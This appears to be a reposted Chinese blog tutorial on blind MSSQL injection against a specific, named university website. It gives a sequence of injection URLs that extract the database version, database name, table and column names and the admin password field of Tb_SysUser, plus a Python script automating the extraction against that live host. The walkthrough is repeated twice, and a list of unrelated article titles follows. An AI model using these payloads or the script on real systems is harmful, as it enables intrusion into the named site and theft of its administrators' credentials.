文法学院mssql注入
来源:互联网 发布:linux运行安卓程序 编辑:程序博客网 时间:2024/04/28 01:21
盲注:
例子:
http://wenfa.nchu.edu.cn/md.aspx?t=0&c=c1
先说一些函数的说明:
substring(str,start,len) 截取字符串的作用,第一个参数为要截取的字符串,第二个参数为从哪里开始截取,第三个参数为截取的长度
ascii(char) 把字符转换为ascii值
【1】爆数据库版本:
wenfa.nchu.edu.cn/md.aspx?c=c1'/**/and/**/ascii(substring(@@version,1,1))>0/**/--&t=0
正常页面
wenfa.nchu.edu.cn/md.aspx?c=c1'/**/and/**/ascii(substring(@@version,1,1))>100/**/--&t=0
不正常页面
说明@@version的第一个字母的ascii 的范围是在0到100 之间
wenfa.nchu.edu.cn/md.aspx?c=c1'/**/and/**/ascii(substring(@@version,1,1))=77/**/--&t=0
正常页面,说明@@version的第一个字母的ascii 的值是77,查表可知为M
第二个字母的注入为:
wenfa.nchu.edu.cn/md.aspx?c=c1'/**/and/**/ascii(substring(@@version,2,1))>0/**/--&t=0
方法相同
来一个爆版本号的脚本:
【2】爆当前数据库名字
wenfa.nchu.edu.cn/md.aspx?c=c1'/**/and/**/ascii(substring(db_name(),1,1))>200/**/--&t=0
ascii大于140发现页面正常,则当前的数据库的名字为中文,则换成这样注入:wenfa.nchu.edu.cn/md.aspx?c=c1'/**/and/**/unicode(substring(db_name(),1,1))>200/**/--&t=0
最后发现:
wenfa.nchu.edu.cn/md.aspx?c=c1'/**/and/**/unicode(substring(db_name(),1,1))=25991/**/--&t=0
在http://www.bangnishouji.com/tools/chtounicode.html查询
文 转换成中文,就是“文”字
最后注入发现当前数据库的为:文法学院
【3】爆表
wenfa.nchu.edu.cn/md.aspx?c=c1'/**/and/**/ascii(substring((select/**/top/**/1 name/**/from/**/文法学院.sys.all_objects where type='U'/**/AND/**/is_ms_shipped=0),1,1))>0/**/--&t=0
爆第二张表:
wenfa.nchu.edu.cn/md.aspx?c=c1'/**/and/**/ascii(substring((select/**/top/**/1/**/name/**/from/**/文法学院.sys.all_objects where type='U'/**/AND/**/is_ms_shipped=0 and name not in('Tb_SysUser')),1,1))>0/**/--&t=0
【4】爆Tb_SysUser 表的字段:
wenfa.nchu.edu.cn/md.aspx?c=c1'/**/and/**/ascii(substring((select/**/top/**/ 1/**/COLUMN_NAME from/**/文法学院.information_schema.columns/**/where/**/TABLE_NAME='Tb_SysUser'),1,1))>0/**/--&t=0
爆第二个字段:
wenfa.nchu.edu.cn/md.aspx?c=c1'/**/and/**/ascii(substring((select/**/top/**/ 1/**/COLUMN_NAME/**/ from/**/文法学院.information_schema.columns/**/where/**/TABLE_NAME='Tb_SysUser'/**/and/**/COLUMN_NAME/**/not/**/in('fPwd')),1,1))>0/**/--&t=0
【5】爆数据
wenfa.nchu.edu.cn/md.aspx?c=c1'/**/and/**/ascii(substring((select/**/top/**/1/**/fPwd/**/from/**/Tb_SysUser),1,1))>0/**/--&t=0
例子:
http://wenfa.nchu.edu.cn/md.aspx?t=0&c=c1
先说一些函数的说明:
substring(str,start,len) 截取字符串的作用,第一个参数为要截取的字符串,第二个参数为从哪里开始截取,第三个参数为截取的长度
ascii(char) 把字符转换为ascii值
【1】爆数据库版本:
wenfa.nchu.edu.cn/md.aspx?c=c1'/**/and/**/ascii(substring(@@version,1,1))>0/**/--&t=0
正常页面
wenfa.nchu.edu.cn/md.aspx?c=c1'/**/and/**/ascii(substring(@@version,1,1))>100/**/--&t=0
不正常页面
说明@@version的第一个字母的ascii 的范围是在0到100 之间
wenfa.nchu.edu.cn/md.aspx?c=c1'/**/and/**/ascii(substring(@@version,1,1))=77/**/--&t=0
正常页面,说明@@version的第一个字母的ascii 的值是77,查表可知为M
第二个字母的注入为:
wenfa.nchu.edu.cn/md.aspx?c=c1'/**/and/**/ascii(substring(@@version,2,1))>0/**/--&t=0
方法相同
来一个爆版本号的脚本:
- # -*- coding: gbk -*-
- import urllib2
- import urllib
- sqlcomm="@@version"
- data = {
- "t":"0",
- "c":"c1'/**/and/**/ascii(substring(@@version,1,1))=77 --"
- }
- def getlength():
- for counti in range(1000):
- data["c"]="c1'/**/and/**/len(%s)=%s/**/--" % (sqlcomm,str(counti))
- urldata=urllib.urlencode(data)
- url="http://wenfa.nchu.edu.cn/md.aspx?"+urldata
- headers={"User-Agent":"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1"}
- req = urllib2.Request(url,headers=headers)
- resul=urllib2.urlopen(req).read()
- if len(resul)>34000:
- return counti
- return False
- def sendhttp(countn,sign,num):
- data["c"]="c1'/**/and/**/ascii(substring(%s,%s,1))%s%s/**/--" % (sqlcomm,str(countn),sign,str(middle))
- urldata=urllib.urlencode(data)
- url="http://wenfa.nchu.edu.cn/md.aspx?"+urldata
- headers={"User-Agent":"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1"}
- req = urllib2.Request(url,headers=headers)
- resul=urllib2.urlopen(req).read()
- if len(resul)>34000:
- return True
- return False
- coutnum= getlength()
- for j in range(1,coutnum+1):
- min,max=0,140
- while min<=max:
- middle=(max+min)//2
- if sendhttp(j,"=",middle):
- print chr(middle),
- break
- if sendhttp(j,">",middle):
- min=middle+1
- else:
- max=middle-1
【2】爆当前数据库名字
wenfa.nchu.edu.cn/md.aspx?c=c1'/**/and/**/ascii(substring(db_name(),1,1))>200/**/--&t=0
ascii大于140发现页面正常,则当前的数据库的名字为中文,则换成这样注入:wenfa.nchu.edu.cn/md.aspx?c=c1'/**/and/**/unicode(substring(db_name(),1,1))>200/**/--&t=0
最后发现:
wenfa.nchu.edu.cn/md.aspx?c=c1'/**/and/**/unicode(substring(db_name(),1,1))=25991/**/--&t=0
在http://www.bangnishouji.com/tools/chtounicode.html查询
文 转换成中文,就是“文”字
最后注入发现当前数据库的为:文法学院
【3】爆表
wenfa.nchu.edu.cn/md.aspx?c=c1'/**/and/**/ascii(substring((select/**/top/**/1 name/**/from/**/文法学院.sys.all_objects where type='U'/**/AND/**/is_ms_shipped=0),1,1))>0/**/--&t=0
爆第二张表:
wenfa.nchu.edu.cn/md.aspx?c=c1'/**/and/**/ascii(substring((select/**/top/**/1/**/name/**/from/**/文法学院.sys.all_objects where type='U'/**/AND/**/is_ms_shipped=0 and name not in('Tb_SysUser')),1,1))>0/**/--&t=0
【4】爆Tb_SysUser 表的字段:
wenfa.nchu.edu.cn/md.aspx?c=c1'/**/and/**/ascii(substring((select/**/top/**/ 1/**/COLUMN_NAME from/**/文法学院.information_schema.columns/**/where/**/TABLE_NAME='Tb_SysUser'),1,1))>0/**/--&t=0
爆第二个字段:
wenfa.nchu.edu.cn/md.aspx?c=c1'/**/and/**/ascii(substring((select/**/top/**/ 1/**/COLUMN_NAME/**/ from/**/文法学院.information_schema.columns/**/where/**/TABLE_NAME='Tb_SysUser'/**/and/**/COLUMN_NAME/**/not/**/in('fPwd')),1,1))>0/**/--&t=0
【5】爆数据
wenfa.nchu.edu.cn/md.aspx?c=c1'/**/and/**/ascii(substring((select/**/top/**/1/**/fPwd/**/from/**/Tb_SysUser),1,1))>0/**/--&t=0
0 0
- 文法学院mssql注入
- MSSQL注入
- MSSQL注入
- mssql注入
- MSSQL 常见注入脚本
- MSSQL注入经典语句
- mssql注入精华
- 详细MSSQL注入语句
- MSSQL注入学习笔记
- 初探MSSQL注入
- MSsql 注入手册
- mssql手工注入
- mssql有趣的注入
- ASPX+MSSQL注入
- MSSQL注入攻击的防护
- MSSQL注入攻击的防护
- MSSQL注入防范安全策略大全
- MSSQL手工注入语句积累
- java进阶学习笔记
- 数据链路的创建(oracle数据库与oracle数据库)
- 多线程学习---写一个简单的线程
- 有意思的memset
- Docker镜像与容器命令
- 文法学院mssql注入
- ibatis源码分析(番外篇)
- HTML5中input背景提示文字(placeholder)的CSS美化
- [分享] IM 协议设计选型
- 黑马程序员——分析匿名内部类使用外部定义的对象
- 多线程学习--写一个简单的定时器
- Nginx Upstream Keepalive 分析
- C++之虚函数
- json对象与json字符串之间的转化